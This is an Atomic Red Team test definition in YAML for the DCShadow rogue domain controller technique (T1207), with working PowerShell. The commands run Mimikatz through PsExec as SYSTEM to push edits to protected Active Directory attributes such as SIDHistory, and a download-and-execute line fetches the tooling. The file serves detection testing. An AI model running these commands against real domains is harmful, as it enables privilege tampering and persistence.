Carrie Roberts
d4709021fb
* updating atomics count in README.md [ci skip] * wip * handle spaces in path * update readme * fix typo --------- Co-authored-by: publish bot <opensource@redcanary.com>
91 lines
4.4 KiB
YAML
91 lines
4.4 KiB
YAML
attack_technique: T1207
|
|
display_name: Rogue Domain Controller
|
|
atomic_tests:
|
|
- name: DCShadow (Active Directory)
|
|
auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6
|
|
description: |
|
|
Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.
|
|
|
|
[DCShadow](https://www.dcshadow.com/)
|
|
[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)
|
|
|
|
It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
|
|
Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount
|
|
|
|
Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.
|
|
The easiest is to run elevated and as a Domain Admin user.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
object:
|
|
description: Targeted object (for machine account do not forget to add final '$')
|
|
type: string
|
|
default: bruce.wayne
|
|
attribute:
|
|
description: "Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory..."
|
|
type: string
|
|
default: badpwdcount
|
|
value:
|
|
description: Value to assign to object attribute
|
|
type: string
|
|
default: "9999"
|
|
mimikatz_path:
|
|
description: Mimikatz windows executable
|
|
type: path
|
|
default: 'PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe'
|
|
psexec_path:
|
|
description: Path to PsExec
|
|
type: path
|
|
default: PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
|
|
prereq_command: |
|
|
$mimikatz_path = cmd /c echo #{mimikatz_path}
|
|
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
|
|
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
|
|
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
|
|
$mimikatz_exe = cmd /c echo #{mimikatz_path}
|
|
$basePath = Split-Path $mimikatz_exe | Split-Path
|
|
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
|
|
- description: |
|
|
PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})
|
|
prereq_command: |
|
|
if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}
|
|
get_prereq_command: |
|
|
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
|
|
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
|
|
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
|
|
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
|
|
executor:
|
|
name: powershell
|
|
elevation_required: true
|
|
command: |
|
|
# starting fake DC server, as SYSTEM (required)
|
|
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
|
|
Remove-Item $dc_output_file -ErrorAction Ignore
|
|
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
|
|
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"
|
|
|
|
# wait for fake DC server to be ready...
|
|
Start-Sleep -Seconds 5
|
|
|
|
# server ready, so trigger replication (push) and wait until it finished
|
|
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"
|
|
|
|
Write-Host "`nWaiting for fake DC server to return"
|
|
Wait-Process $dc
|
|
|
|
Write-Host "`nOutput from fake DC server:"
|
|
Get-Content $dc_output_file
|
|
Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
|
|
Remove-Item $dc_output_file -ErrorAction Ignore
|
|
|
|
Write-Host "End of DCShadow"
|
|
cleanup_command: |
|
|
Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore
|